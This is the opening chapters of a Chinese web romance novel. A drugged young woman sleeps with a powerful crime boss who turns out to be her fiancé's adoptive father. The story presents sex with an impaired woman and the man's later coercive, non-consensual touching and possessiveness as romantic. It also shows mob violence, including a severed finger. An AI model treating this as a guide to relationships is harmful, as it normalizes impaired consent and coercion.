《禁情危欲》 第1章 经典款开局 “给我嘛,求你啦……” “小姐,这样不好。” 低沉的男声在头顶响起。 像梵钟的尾音。 温静阳整个人都挂在男人身上。 酡红脸颊贴着他坚硬的胸膛。 蹭啊蹭。 她含混呓语:“为什么不好呢?” 语调娇娇软软的。 她身体滚烫,意识要被药物烧成一团浆糊,只觉得他身上凉,很舒服。 “可是我真的真的……好难受的呀……” 她努力地抬起头,只看到男人那凤眼垂眸正看着她。 平静无波。 一副清悯悲怜的菩萨样。 温静阳着急:“你也已经……你在介意什么嘛?” 男人的手掌只是虚虚地扶着她的腰,保持着一个克制的距离。 他腕上串着小叶紫檀佛珠,颗颗压着臂腕上微凸起的青筋。 像是压制的野兽,随时可能会失控。 男人开口:“我在持戒。” 声音里听不出情绪。 “持戒?”温静阳的意识已经涣散,她不断用唇去蹭他颈侧的皮肤。 他那处肌肉绷得紧紧的。 硬死了。 她含糊软声问:“那是什么呀?” “戒欲。”男人的声音沙哑。 他搂着她的手,往她的软腰上按了按。 温静阳的愈发的热了。 她快要哭了,攀着男人,踮脚凑近,朱唇近乎要贴上他的唇。 “好好先生,您就帮帮我嘛。” “我好不舒服呀。” 她调子软软糯糯的,乖乖巧巧地诱骗。 混着温香袭人。 “我会对你负责的。” “我发誓,真的真的。” 她急切地保证。 像个做错事却急于弥补的孩子。 男人的喉结上下滑动了一下。 他扶在她腰间的手掌骤然收紧,猛地将她柔软娇小的身体深深嵌入自己怀中。 “记住你的话。”终于,男人低沉的声音响起。 顿时,世界颠倒了过来。 记忆是一片混乱的炙热。 她只记得檀木念珠的幽香、晃动的蛇形纹身。 以及她哭哭啼啼的求饶。 灵魂仿佛也被一并撕裂,然后又被温柔地拢起。 浪潮灭顶。 …… 温静阳醒来时,窗外的天光已经大亮。 她撑着手臂坐起身。 只见满屋子的衣服缠着衣服,可见昨夜荒唐到了什么地步。 房间里很安静。 那个男人坐在窗边的单人沙发上。 他正垂眸看着手里的文件,修长的手指偶尔翻动一页。 晨光照亮了他的一半轮廓,阴暗交叠。 他已收拾掇得体。 白色衬衫袖子挽起,露出结实的小臂,小臂上还有她留下的抓痕。 看来她昨天挺凶猛的。 温静阳起身的动静不小,男人却丝毫没看她的意思。 清冷寡淡得很。 和昨天夜里的那头饿狼完全不同。 温静阳偷瞄了一会。 睡了他。 不亏。 毕竟对方的身材在那摆着,脸看不清,但估摸着不差。 至于技术? 她只记得自己要死了。 忍着身子的酸软,温静阳磨磨蹭蹭地下了床。 窸窸窣窣的衣服摩擦声。 男人翻页的声音似乎慢了些。 穿没洗的内裤有些膈应,于是温静阳拆了条一次性内裤套上。 收拾好,她站好。 乖乖巧巧手手交叠。 端起一副清纯软糯的模样,乖乖道:“那个……昨晚谢谢你。” 南水城家的温二小姐,是远近闻名的乖乖女。 男人的目光终于从文件上抬起,平静地扫过她泛红的脸颊和泛着水雾的杏眼。 过了几秒,他才“嗯”了一声。 现在,温静阳才第一次看清他的脸。 凤眼冷厉,五官深邃,线条利落。 赚了。 血赚。 他只是一眼,就有压迫感扑面而来。 上位者。 温静阳下意识的站直了一些。 但想想又觉得不可能。 哪家的大佬能让她这么简单就睡到? 也不知道男人是做什么的。 长这么好看…… 该不会是附近酒吧的牛郎吧? 男人看着眼前站得跟个听训小学生一样的女孩,凤眼幽深了些,将手中的文件放到了桌上,然后从容不迫地看着温静阳,也不说话。 温静阳被盯得不自在,咬了咬唇。 左右只是个男人,怕些什么? 想着她转身弯腰去捡自己的手包。 男人没说什么,只是目光沿着温静阳弯腰后身体的曲线。 一寸一寸舔过。 屈着指,一下、一下地敲着沙发扶手。 “嗒”、“嗒”…… 在安静的空间里格外明显。 不知道为什么,温静阳听着那声音,心里突突只跳。 莫名想起昨夜在她视野里起伏的蛇纹。 她用最快的速度从钱包里抽了一沓厚厚的现金。 钱整整齐齐地放在他面前的茶几上。 “先生,这是我承诺过的。” 她抬起头,漂亮的杏眼水润润地望着男人,一脸好孩子的模样道: “负责。” 瞧。 她说话算话。 多乖。 男人敲击扶手的声音停了下来。 凤眼凝着这乖得不行的女孩。 温静阳硬着头皮,顶着这沉如有实质的目光。 “昨天您辛苦了……我,我还有事,先走了。” 说完,她对他微微鞠了一躬。 然后转身,逃跑似的离开了这个让她感到莫名压抑的房间。 像只偷到鱼的小猫。 门被轻轻关上。 男人注视着茶几上的那叠现金。 沉默。 良久。 他站起身,走到床边。 从他昨晚脱下的西装外套下,捡起了一条蕾丝边的内裤。 他的指腹轻轻摩挲着那柔软的布料。 那女孩脸上惯是乖巧,偏偏杏眼里淡漠得很。 明明昨夜娇娇软软求他的是她。 转眼就撇清关系。 得,全是哄人的话。 “辛苦了?” 他复述了一遍她刚刚说的话,凤眼微微眯起。 “呵……” 出息了。 几年不见。 小姑娘家的,嫖他嫖得挺理所当然。 …… 温静阳离开后不久。 酒店套房内。 地上跪满了一地人。 所有人低着头,连呼吸都刻意压抑到最轻。 为首的是酒店的负责人。 他肥硕的身体抖得如同风中筛糠。 靳承野没看这些人。 只是随意地靠在沙发上阖眸养神。 手搭在扶手上,手中念珠一颗一颗地拨着。 万凛站在靳承野的身后,像座沉默的铁塔。 他微微躬身,低声请示:“先生,需要把人追回来吗?” 靳承野狭长的凤眼缓缓睁开。 “不用。” 他的唇角勾起一个极淡的弧度。 “只是一只受惊的小猫,她会自己回家的。” 第2章 好巧,你也出轨了 这话让跪在地上的酒店负责人抖得更厉害了。 他几乎是手脚并用地爬上前,不断磕着头。 “先生!饶命!” “是沈家的人买通了我们的人!” “安保系统失效,才,才让她闯进了您的房间!” “我发誓,我马上就去把那个叛徒和他全家都沉进京水河!” 靳承野的另一个手下,景砚修闻言轻笑一声。 他那身亮蓝色西装,与房间里压抑的黑与白格格不入。 “哦呀,沈述昴的胆子真是越来越大了。” “都敢打主意到您床上了。” 靳承野没有理会景砚修的调侃,只是拨着念珠: “处理了。” 平淡三字。 负责人脸上的血色瞬间褪尽。 万凛抽出刀走近负责人。 “不……不要!先生!饶命!啊——!” 伴随着惨叫,一截小指滚落。 鲜血染红了地毯。 就在这时,套房的门被轻轻推开。 一个约莫五六岁的小男孩走了进来。 他一身笔挺的黑色小西装,小脸精致得如同人偶。 他的眼睛和靳承野如出一辙。 沉静得不像个孩子。 男孩的视线平淡扫过地上抽搐的男人和那截断指。 没有停留超过一秒,便径直望向沙发上的靳承野。 他走到男人面前,停下脚步,微微躬身,声音平稳。 “父亲。” 靳承野的目光落到男孩身上。 “父亲,是母亲吗?”男孩犹豫了一会,问道。 靳承野没有回答他,只是平淡道:“行李都收拾好了吗?” “收拾好了,父亲。” “很好。”靳承野站起身,“我们……回家。” …… “福伯,今天是什么节日吗?”温静阳看向周围问道。 她离开酒店后,就赶到了这里。 ——靳家老宅。 京城靳家。 便只说个名,就能让整个京港市抖三抖的存在。 而她就是来与靳家少爷联姻。 天空阴沉沉。 乌云下,大家低着头,脚步飞快地穿梭在回廊小榭间。 有抱着花瓶路过的仆从,匆匆向她鞠躬,又匆匆离开。 温静阳:“大家看起来……很忙。” 似乎在紧张筹备着什么。 一股山雨欲来的压抑。 温静阳前带路的管家福伯,停了下来。 年迈的管家微微侧过身:“温小姐,是先生要回来了。” “先生”两字被福伯念得慎之又重。 温静阳听到这个词愣了愣。 这里能称为先生的只有一人。 靳家家主,靳承野。 京圈最顶级的权贵。 京港市的天。 说起京港市,她并不陌生。 她是京港大学毕业的。 可奇怪的是,她大学期间的记忆,出现了大片的空白。 只剩下一些模糊的光影和零碎的片段,无论如何都拼凑不起来。 医生说,可能是某种选择性失忆。 “靳先生……是靳白的父亲吗?”她试探着问。 靳白,她的未婚夫。 “是的,先生收养了靳白少爷。”福伯的腰弯得更低了。 “温小姐,在先生面前,请务必谨小慎微。” “尤其是……请小心对待小少爷。” “小少爷?”温静阳捕捉到这个新的称呼。 “先生的亲生儿子,靳念旸少爷。” 温静阳闻言微微偏头:“先生结婚了?” 福伯压低了声音:“没有。” “小少爷的母亲……是大宅里的禁忌。” 温静阳点了点头,不再询问。 福伯继续道:“靳白少爷吩咐过,今天让您过来,正是为了见见先生。” “他在书房等您。” 话语间,他们已经走到了一栋侧院前。 院墙爬满了常春藤。 福伯停下,对温静阳做了一个“请”的手势。 “我就送您到这里了,温小姐。” …… 温静阳推开书房厚重的木门。 门没有锁。 一股混杂着情欲与香水的气味扑面而来。 黏腻的水声。 女人压抑的、不成调的喘息。 都清晰地传进她的耳朵。 她的脚步停在门口。 巨大的书桌后,一个男人正靠在宽大的红木椅上。 他的衬衫扣子解开了好几颗,露出线条分明的胸膛。 一个女人跨坐在他身上,裙摆下可见雪白的大腿。 女人脸上潮红未褪,眼神迷离。 听到开门声,两人同时朝门口看来。 温静阳的目光与男人那双桃花眼对上。 靳白。 她的未婚夫。 还有她未婚夫的妹妹,她的“小姑子”,靳娇娇。 她的未婚夫和他妹妹搞上了。 这场景让温静阳愣了一下。 怎么说呢。 她昨天晚上也和别的男人上床了。 还怪巧的。 …… 靳白的眉尾有一道浅浅的断痕,为他英俊的面容添了几分不羁。 被撞破了好事,他脸上没半点惊慌。 甚至还对温静阳勾了勾唇角,露出一抹玩味的笑。 靳娇娇看到“准嫂子”,没有立刻从靳白身上下来。 反而故意挺了挺胸,手臂更紧地缠住了他的脖子。 靳白却轻轻拍了拍她的后背。 “好了,娇娇。”他声音平淡,听不出什么情绪。 靳娇娇委屈地瘪了瘪嘴,不情愿地从他身上滑了下来。 温静阳没说话,只是乖巧看着两人。 未婚夫抱他妹。 这画面温静阳已经习惯了。 毕竟,这样的场景…… 她抵达京港市的半个月内,已经不是第一次见了。 靳白慢条斯理地,一颗一颗地,将衬衫的扣子扣好。 然后他起身,完全无视了身旁靳娇娇哀怨的目光,迈开长腿,径直朝着温静阳走过来。 空气中浓郁的古龙香水味,随着他的走近而愈发清晰。 “你来了。” 即便被撞破奸情,靳白他也有恃无恐。 原因很简单。 因为温静阳爱惨了他。 她历来隐忍、大度、贤惠。 只要他不离开她,那么无论他做什么,她都不会生气。 只会像现在这样。 用一双温柔的杏眼,乖巧地看着他。 温静阳安静看着未婚夫。 她一点都不爱他。 她的目光落在靳白的脸上。 潋滟的桃花眼,高挺的鼻梁。 虽然被那道断眉影响了观感。 真像啊。 和记忆里的那个人,几乎一模一样。 温静阳在心里想。 她不在乎,她的未婚夫和他妹上床。 温家需要靳家的支持,而她,只需要靳白这张脸就够了。 至于靳白的心和身体属于谁,她一点兴趣都没有。 似乎是回忆起什么。 她看着靳白的杏眼愈发的温甜了。 盈盈地,就像西子湖的秋水。 瞧得靳白的心都软了下来。 第3章 你未婚妻不错 好乖。 靳白想着,轻轻将温静阳耳边的一缕头发别到耳后。 温静阳微微偏头躲开。 偏偏那俏脸依旧一脸乖巧:“福伯说,你在找我?” 靳白停在空中的手一愣,随后收了回来。 女孩家羞涩的模样,也极可爱。他想。 他从旁边的书桌上,拿起一个精致的黑色礼盒,递给她。 “给你的。” “晚上宴会的礼服。” “特地为你挑的。” 他的声音很好听,总会带着情人间的语调和磁性。 总叫人以为自己是他的心尖尖上的人。 温静阳伸出手,接过了盒子。 “谢谢。”她的声音轻轻的,礼礼貌貌。 从头到尾,她的视线都没有离开过靳白的脸。 靳白见状,不由得勾起唇角。 见两人视线快勾一起了,靳娇娇坐不住了。 她松松垮垮披着外套,扭着腰肢走过来。 亲昵地挽起靳白的手臂,在他的唇边印下一个红吻。 “嫂子,这裙子可是我帮哥哥一起挑的哦。 靳白没有制止妹妹的挑衅,只是饶有兴味地看着温静阳。 他喜欢看她这副样子。 隐忍,顺从。 好像不管他做什么过分的事情。 她都会默默承受。 “我很喜欢,谢谢你,靳小姐。” 她的语气依旧平静,乖巧礼貌得无可挑剔。 一拳打在棉花上。 比任何激烈的反应都叫人恼火。 靳娇娇正要发作。 书房的门,再一次被敲响了。 “进来。”靳白抬眉。 管家福伯推门而入。 他对靳娇娇凌乱的衣着和靳白上的口红印视而不见,微微躬身: “先生已经抵达佛堂。” 先生。 这个词一出口,靳白脸上的散漫笑意顿时消失了。 靳娇娇几乎是立刻松开了挽着靳白的手。 娇纵的脸瞬间乖巧,还紧张。 “我……我去换衣服。”她结结巴巴地跟着福伯离开。 “你很怕先生?”温静阳突然对靳白开口。 很怕? 这话问得,赤裸裸是对男人尊严的挑衅冒犯。 靳白看向温静阳。 柔柔杏眼干净纯粹,乖乖看着他。 应该只是单纯好奇。 这姑娘乖,哪能是故意挑衅的? 靳白收回目光。 “那不是怕,是尊敬。”声音平静,却勾起唇角。 几分嘲讽,几分薄凉。 “毕竟,我像条野狗差点死在老街上时。” “可是他施舍了口饭。” …… “轰隆——” 惊雷乍响。 佛堂。 福伯躬身立在一旁。 靳承野燃了三炷香,袅袅香烟模糊了面容。 “先生今日可是遇到什么了?”福伯小心翼翼的询问。 香已经燃了小半截了,先生却还没动。 靳承野将香插入香炉中,神情淡漠:“无事。” 温静阳跟着靳白跨进佛堂。 一眼就看到了古佛下点香的男人。 佛像的阴影笼罩在他身上。 他从黑暗中抬眉看来,凤眼狭长,压迫力十足。 那瞬间,温静阳大脑“嗡”的一下,空白了。 是他! 牛郎! 不,不对…… 她被未婚夫带着,走到了男人面前。 他似乎比靳白还高半个头。 “养父。”靳白恭谨低唤,语调压得极卑微。 这一声养父,叫得温静阳的心,凉凉地,很安心。 她果真把未婚夫的养父睡了! 靳白将有些呆滞的温静阳拉到身旁。 微微躬身:“这是温家来的小姐,我的未婚妻。” 古佛下,男人的目光慢慢落了过来。 一点一点的扫过她全身。 像是寸寸剜肉一般。 尤其是…… 她的双腿间。 温静阳有些不自在地挪了挪身子。 靳承野收回了目光,声音低沉:“温小姐。” 情绪讳莫。 丝毫看不出任何异常。 温静阳一脸乖巧地站好: “先生您好。”声音娇软,听着跟撒娇似的:“初次见面。” 她每次闯祸了,就是这么甜甜软软地哄人。 靳承野垂眸看着她。 不自觉转了转腕间的念珠。 呵,“初次”。 福伯递来线香。 靳白接过一支。 温静阳也乖乖巧巧地接过线香,跟着未婚夫上香。 偏偏在绕过蒲团时绊了一下。 眼看要跌到,一只大手伸了过来,顺势扶住了她的腰肢。 男人压迫的阴影顿时将她笼罩。 他能感觉到,她腰上的体温顺着他的掌心爬上来。 香。 软。 细。 感觉一只手就能完全掐住。 他的手不自觉地用力了一些。 温静阳稳住身体,抬头。 然后看到了靳承野垂眸看着自己。 那双凤眼中浓得显示化不开的墨。 他手腕上的佛珠还咯着自己。 有些疼。 温静阳侧了侧腰肢,想要躲开些。 却被按住了。 她朱唇轻咬,杏眼汪汪地瞧着男人 “谢谢先生。” 语调乖巧礼貌得很,却满眼都是让他放开她的意思。 很明显,她这是在瞪他。 靳承野却神情都不带变换的。 “不用谢。” 男人裹着热气的低语钻进她的耳朵。 “小猫。” 用只有两人听得见的声音。 温静阳触电一般地连忙后退。 耳尖红得像是要滴血。 她杏眼睁大,如同一只受惊的猫儿一般,盯着眼前的男人。 只见对方深邃的凤眸中,荡起堪称愉悦的笑意。 只是一瞬,那抹笑意就消失在了浓墨中。 靳白插了香后回身,看到未婚妻捏着香,呆呆地看着养父。 莫名的,他有些不爽。 明明这姑娘刚刚这样瞧人,瞧的是他。 靳白索性上前拉了拉温静阳的手。 侧头在她耳边低声提醒:“上香。” 靳承凤眸落在了靳白拉着温静阳的手上。 然后移开了目光。 周围似乎更压抑了。 温静阳乖巧地举着线香走到香炉边。 靳承野突然开口:“靳白。” 靳白顿时下颌绷紧,拘谨着看向靳承野。 “你的未婚妻很不错。” 靳承野的声音平稳低沉。 像是普普通通的长辈对晚辈的欣赏。 靳白在听到靳承野的话后,稍微松了口气。 “感谢您的夸奖,养父。” 只是温静阳的香,插歪了。 …… 晚餐在一片静谧中。 靳娇娇埋着头,努力把自己的存在感降到最低。 靳白低声汇报着近期的事务。 “……巡视组那边派了新的督察官。” “极光科技的上市目前推进正常。” “沈家最近也不安生,前段时间他们从黑市里进了些粉红水。” 听到“粉红水”三个字,靳承野抬眸扫了温静阳一眼。 他淡淡开口:“那水应该已经用了……” 第4章 温小姐,你的东西落在我那里了 “效果不错。” 话里有话。 感受到视线,温静阳往嘴里塞冰糖官燕的勺子顿了顿。 然后面无表情地继续咽下了那勺吃食。 “说起来,养父,怎么没有看见念念?”靳白扫了周围一圈。 靳承野的目光重新落回靳白身上。 浓墨的眸子里流出冰冷的审视。 靳白微微僵直了后背。 “他去看可心了。” 靳承野收回了目光,平淡回答。 靳白没再说话,只是绷着身子点了点头。 氛围再次凝固。 …… 不知多久后。 “咔嗒”一声。 靳承野放下了银筷。 所有人瞬间停了下来。 温静阳举在半空中的叉子停住。 她看了眼叉子上刚挖下的甜糕,又看看四周。 犹豫了一会,放下了餐叉。 靳承野接过女仆递来的手帕,慢条斯理地擦嘴,随后起身。 靳白和靳娇娇立刻跟着起身鞠躬。 温静阳也斯条慢理地跟着照做。 依旧一副乖巧的模样。 靳承野离开的脚步在温静阳面前停下。 “温小姐。” “你有东西落在我那里了。” 男人的低沉声音就这么落进了温静阳的耳中。 温静阳闻言一愣,然后下意识地抬头。 却撞进了那双凤眼如墨的深渊中。 他的神情淡漠得很,语调也平静:“用餐结束后,来书房取。” 说完后,男人便离开了。 屋内躬身的仆人也随着家主的离开,如潮水一般退去。 整个餐厅重新陷入了安静,但压迫感也消了一些。 靳白不由得暼向温静阳。 温静阳注意到他的视线,报以了一个甜甜软软地笑容。 靳白地眉头微微挑,随后唇微微勾起,低声安抚了一句:“养父不会为难你的,别担心。” 好似真真合格的情人。 如果忽视凑了过来的靳娇娇的话。 “哼,父亲历来严格,你个儿媳丢三落四地,等着挨训吧。”靳娇娇理所当然的攀着靳白,娇哼了一声。 温静阳没说话,只是看了一眼顺势搂住靳娇娇腰肢的靳白,然后转身离开了。 …… 天,愈发地阴沉沉。 风雨欲来。 温静阳敲响了靳承野书房的木门。 “进。” 声音比屋外的云还要沉,透着一股子的凉意。 温静阳推门而入。 书房里没开大灯,只亮着一盏复古的青铜台灯。 暖光昏昏暗暗。 温静阳一眼就看到了坐在宽大皮椅的男人身上。 男人靠着椅背,姿态闲时,只是手里正拿着一个白色的东西。 他只是简简单单地拿着。 但那卷起的袖口,露出的结实小臂上的青筋,让这个简单的动作多了几分亵玩感。 温静阳定睛一看靳承野手上的东西。 那东西……不就是她的内裤吗?! 怎么在这男人手上啊?!! 看着那薄薄地布料缠绕在男人修长的手指尖,他的指腹轻轻摩挲过上面的蕾丝花边。 像是在抚摸情人的皮肤。 温静阳脸上像被烫到一样烧了起来。 她几乎是三步并作两步,冲到靳承野面前。 也没开口说什么,小手一伸,一把就从男人手中抢过了自己的贴身衣物。 男人的手上一空,他手上的姿势没变,目光落到了温静阳身上。 神色平静无波。 温静阳赶紧把这丢人的东西攒进手心,背着双手乖乖站好。 她一脸无辜,语调软得很:“先生,这个是我的……” 所以她拿回去没什么问题吧。 哪怕拿得稍稍急了一丢丢。 靳承野凤眼扫过她软糯乖巧的模样。 寻常若是有人敢这般从他手中夺东西,早就被按在他面前忏悔了。 但女孩家一脸乖巧无害,让他连被冒犯的心都提不起来。 她一直都是这样。 顶着那张又软又甜的脸,长着一张不安分的小嘴,到处哄人。 靳承野的手慢慢放了下来,随意搭在了椅子扶手上,然后淡淡道: “换上。” 温静阳一愣:“什么?” 靳承野的视线落在了温静阳地双腿间。 比在佛堂那道隐秘的视线,更加直白肆意。 温静阳往后缩了两步。 靳承野收回目光,轻轻屈指敲了敲椅子扶手:“你手里的东西,换上。” 温静阳攒着那块布料的指尖蜷了蜷:“先生,我穿了一次性的,不着急换这个。” 靳承野没说话,拿过旁边的平板电脑,点了几下,递给她。 屏幕上是一则新闻。 《315曝光:一次性内裤生产环境脏乱差,细菌超标严重》。 配图是发霉的棉花和黑乎乎的车间。 温静阳:“……” 怎么突然感觉得身上好像有些痒。 靳承野好整以暇地看着她。 温静阳:“……” “咳,话又说回来,着急一点换也不是不行……” “已经洗干净了。”靳承野的声音适时响起。 一如既往的平淡,听不出什么旖旎心思。 “烘干过的。隔间在旁边。” 他又补了一句。 温静阳看看手里的蕾丝内裤,又看看面前那张冷峻的脸。 “好,好的。”她嗫喏着轻哼一句,低着头就往一旁的小门走。 “叮铃——” 一阵清脆的声音响起。 温静阳下意识地停下脚步,抬头看向声源,只见是窗边挂着的一串风铃。 那风铃不是什么名贵的材质,只是普通的贝壳串成,甚至有些贝壳明显看得出磨损。 顶端是个粉色的海星。 很旧。 很廉价。 也很少女。 和这间风格冷硬的书房格格不入。 温静阳忍不住多看了那风铃两眼。 靳承野这种又冷又硬得像块臭石头的家伙,也会挂这种东西? 风微微吹着。 “一位故人送的。” 男人低沉的声音突然在身后响起。 温静阳回过头。 靳承野依旧坐在椅子上,目光落在了那个随风轻晃的风铃上。 淡漠薄凉地神情似乎被记忆染上几分柔意。 温静阳微微偏头。 故人? 能让他挂在书房日日看着的故人。 那得多重要。 温静阳立刻脑补了一出豪门虐恋情深的大戏。 有些事不能多问,温静阳在那像蛇鼠窝的温家待久了,早就懂得这些道理。 她没说什么,只是钻进了隔间。 窸窸窣窣的脱衣声响起。 书桌后。 靳承野站起身。 他走到窗边,抬手。 指尖轻轻触碰那串贝壳风铃。 第5章 如果毁了你 贝壳相撞,发出细碎的声响。 贝壳是当年她在海边捡的,风铃是她亲手串的。 那时候她才刚上大学,笑得像个小太阳。 后来…… 她逃了。 只留下这个风铃。 成了他一个人的独角戏。 靳承野低下头。 薄唇轻轻贴上其中一片贝壳。 虔诚得像是在亲吻佛像。 “如果毁了你,是不是就能……” 彻底留住? 声音很低,散在风里。 …… 门外传来敲门声。 “进。” 靳白推门走了进来。 在靳承野面前,他一直都是拘谨规矩的,丝毫没有在温静阳面前地那般风流与漫不经心。 “养父,关于……” 靳白的话没说完,就看到隔间的门开了。 然后他就看到他未婚妻从他养父的小屋走了出来。 靳白:“?” 他说话的声音戛然而止,看着温静阳,眉头皱了一下,很快又松开。 “温小姐怎么会在……” 内屋? 养父书房的内屋,除了他的好弟弟靳念旸外,没人能进去。 他问得温柔。 是那种爱着自己未婚妻的温柔伴侣的语调。 温静阳也没想到靳白会在这里:“我……我有东西落里面了,来拿一下。” 看着靳白,温静阳莫名地有几分心虚。 但转念一想,有什么好心虚的。 她这个未婚夫可是明晃晃地出轨了的。 她也没能多想,因为她有些不舒服。 那条刚刚换上的的内裤还带着温度,好像人体的温度。 烫得慌。 她不自在地动了动腿,想要缓解那种异样的触感。 靳承野坐在暗处,指尖搭在窗沿上,有一搭没一搭地敲着。 凤眼将她的小动作尽收眼底。 他的眸色微暗。 “过来。” 温静阳犹豫了一下,还是慢吞吞地挪了过去。 然后乖乖巧巧地站在了两个男人面前。 靳白的视线放在了温静阳的两手空空上。 拿东西?拿了什么? 看着这一幕,靳白的心里有些怪异。 他不自觉地看向养父,却触及他的瞬间,立刻收了心思。 这个男人是靳承野。 不是他能妄自揣测的。 靳白什么也没问,只是自然而然地走到温静阳身边,低头和她说话,语气温柔: “拿到就好,下次别这么丢三落四的,别打扰养父工作。” 两个人挨得近。 温静阳能闻到他身上古龙水的香味。 她不自觉地往后微微退了一步,然后背上抵住了一只温热的大掌。 她的身体瞬间僵住了。 是靳承野的手。 男人的手的温度隔着裙子的布料传来,然后顺着她的脊背慢慢往下,直到腰间。 “轰隆——” 窗外一道惊雷炸响。 暴雨倾盆而下。 雨声瞬间盖过了一切。 一切都很快,靳承野很快就将手收了回去,好像什么都没有发生过一般。 温静阳僵着身子,乖乖对着靳白点头: “我知道了。” 靳白注意到温静阳身体有些绷紧,但没有发现异常,他以为她只是被雷声吓到了。 于是安抚地拍了拍她的肩:“没事,别怕。” 靳承野的目光落到了靳白搭在温静阳肩头的手上,然后移开,看向靳白:“有什么事?” 语气冷淡。 靳白抬头,语气恭谨:“养父,是关于极光科技上市的事。” 温静阳一听是商业上的事情,立刻识趣地往后退:“那我先出去了。” 然后逃一般地离开了书房。 门关上。 屋外,大雨如注。 温静阳沿着回廊往客房走。 风夹着雨丝从檐下吹进来,很冷。 在穿过一道月亮门后,她的脚步停了下来。 前面有人。 …… 另一边,书房内。 靳承野看了一会那扇关上的门,然后坐回宽大的皮椅中:“继续。” 靳白继续汇报:“我们在争取淡马锡的资本时,被同样在进行私募的远航科技聘请的IPO律师截胡了。” “那个律师……很有本事,抓住了极光科技财报里的几个漏洞,把估值压得很低。” “我们从四大所请来的律师团队没能处理过来。” 靳承野没有说话,只是慢慢拨着手里的佛珠。 靳白绷着身子,也不敢催促,安静的等待着。 不知过了多久,突然,靳承野开口:“远航的律师是哪里人。” 靳白一愣,稍稍回想一番后:“好像是南水城的人。” “南水城。” 靳承野重复了一遍这三个字。 手里拨动佛珠的动作停了下来。 随后他极低的轻笑了一声:“我大概知道怎么回事了。” “极光的事情我亲自处理。” 靳白有些不解,极光只算靳氏控制下的一个初创公司。 虽然其新研发的AI模型架构前景不错,但体量还远远达不到让靳承野亲自跟项目的地步。 怎么靳承野突然就…… 靳白微微低眉。 脑海里闪过温静阳那张甜软的小脸。 他没说什么,只是恭谨的回答了一声:“是。” 窗外的雨还在下。 雷声滚滚。 …… 温静阳隔着黑夜的暴雨看去,然后看清了那个小小的身影。 巨大的青色梧桐树下。 一个小男孩,坐在庭院中央的露天秋千上。 他没有撑伞。 大雨淋在他身子上。 男孩的衣服已经完全湿透,头发也被雨水打湿,一缕一缕地垂在额头上。 他的怀里抱着一只黑猫。 猫咪似乎试图想要从他怀中逃走,却被他死死按在怀里。 男孩的手一下一下地顺着猫湿漉漉的毛。 他的动作很轻。 但他没有看猫。 他昂着头,看着被四方围墙框柱的天空。 黑沉沉的,什么也看不见。 只有无尽的雨水从那个方框里倾倒下来。 似乎是察觉到了视线,男孩收回了看天的目光,慢慢转过头。 那双和靳承野如出一辙的黑眸,穿过重重雨帘,看向了回廊上的温静阳。 平静。 幽深。 没有小孩子该有的活泼,反而透着股沉沉的死寂。 但在看清是温静阳的那一刻。 那双眼睛里似乎亮了一下。 他抱着猫的手紧了紧。 第6章 你妈妈不爱你咯~ 温静阳站在回廊下,没有动。 她觉得她不应该去管一个陌生的、身份不明的男孩。 她上次发善心的时候,是在温家,然后就被从假山上推了下去。 男孩淋雨也好,发烧也罢,都不关她的事。 她现在最合适的做法,就是转身离开。 可是…… 看着雨中那个抱着猫的小男孩。 温静阳也说不清楚是什么感觉。 心里头闷闷的,有些堵。 让她对他无法坐视不管。 温静阳沉默了一会,然后隔着雨幕开口:“你怎么独自在那里淋雨呀?” 小男孩没有回答。 他怀里的黑猫挣扎了一下。 男孩低下头,用手掌盖住了猫的眼睛。 猫安静了。 然后他抬头继续看着她。 温静阳叹了口气,最终还是从廊下走了出去。 雨砸在她身上,几步路的功夫,裙子就湿了大半 她走到秋千前停下,微微弯腰。 “我们回屋檐下,好不好呀?”她放软了语气,带着惯常的那种甜味,像是在哄一只迷路的小动物。 小男孩的睫毛颤了颤。 他抱着猫从秋千上下来。 温静阳见状嘴角微微勾起,带着小男孩返回了屋檐下。 雨水从小男孩的发梢滴落,顺着脸颊流下来。 温静阳从口袋里抽出纸巾,给他擦了擦脸。 他仰着头看温静阳,眼睛更亮了一些。 温静阳问:“为什么不打伞?” 男孩开口,声音稚嫩,语气一股子老成持重味:“父亲说,靳家的男人不需要伞。” 温静阳:“……” 这语气,这措辞,她只用零点一秒就能猜到:“你父亲是靳承野?” 小男孩乖巧地点了点头。 温静阳微微扬眉,看来这个小家伙就是之前管家提到过的那位小少爷。 温静阳:“不打伞的话,生病了可怎么办呀?” 小男孩的表情没什么变化,继续用那种老气横秋的平淡语气回答:“父亲说,忍着。” 温静阳:“……” 哪有这么教小孩子的! 她沉默了一会才找回声音:“总之先回去吧,都湿透了。” …… 客卧。 仆人看到浑身湿透的小少爷,吓得脸都白了。 一群人涌上来,毛巾、热水、干净的衣服,流水似的递过来。 靳念旸站在原地,任由仆人们手忙脚乱地帮他擦拭。 他怀里的黑猫被另一个仆人接了过去,用厚毛巾裹住。 温静阳也被塞了一条毛巾。 她随手擦了擦头发,正要回衣帽间换衣服,却听到身后传来一个小小的声音。 “你是那个温小姐。” 她回过头。 只见小男孩站在原地,头发还湿漉漉的,但已经换了一件干净的衬衫。 他那双黑沉沉的眼睛正看着她。 “是。”温静阳点头。 小男孩:“靳白的未婚妻。” 温静阳有些诧异他对靳白直呼其名,不过转念一想,一个亲生的,一个收养的,也不难理解。 温静阳继续点头:“嗯。” 小男孩抿了抿唇,似乎是纠结了一下,最后唤了一声:“温姐姐。” 温静阳闻言一愣,随机轻笑出声:“乖。” 然后转身进了衣帽间。 门关上。 男孩站在原地,盯着那道关上的门看了一会,随后目光扫过周围,最终落在了放在桌角的一个手包上。 那是是温静阳的。 他走过去,动作自然地打开,然后翻找了一会,随后抽出了一张名片。 【明德律师事务所】 【律师温静阳】 他看着名片上的名字,轻轻用指腹擦了擦,然后小心翼翼地将名片放进内衬口袋里收好。 做完这些,小男孩抬起头,扫了一眼周围的仆人。 仆人们立刻低下了头,眼观鼻鼻观心,假装什么都没看到。 …… 过了一会,衣帽间的门开了。 温静阳换了一身干净的家居服走出来。 就看到靳念旸小小的身影站在门口,像是在等她。 他已经收拾干净了,穿上了外套,头发被吹干一丝不苟地梳好,像个精致的小人偶。 长得很像靳承野。 很漂亮。 基因不错。 温静阳微微弯眸:“还有什么事吗?” 小男孩犹豫了一下,然后开口: “你能不能……用刚刚的语气,再跟我说一句话?” 温静阳愣住了:“什么语气?” 小男孩闻言垂下了眼睛,摇了摇头。 “没事。” 他重新抬起头,那张精致的小脸上恢复了惯常的平静:“我叫靳念旸。” 说完,他转身走了。 小小的身影穿过回廊,消失在雨夜里。 温静阳站在原地,看着他离开的方向。 过了一会,才关上客房的门。 …… 靳念旸沿着回廊走着。 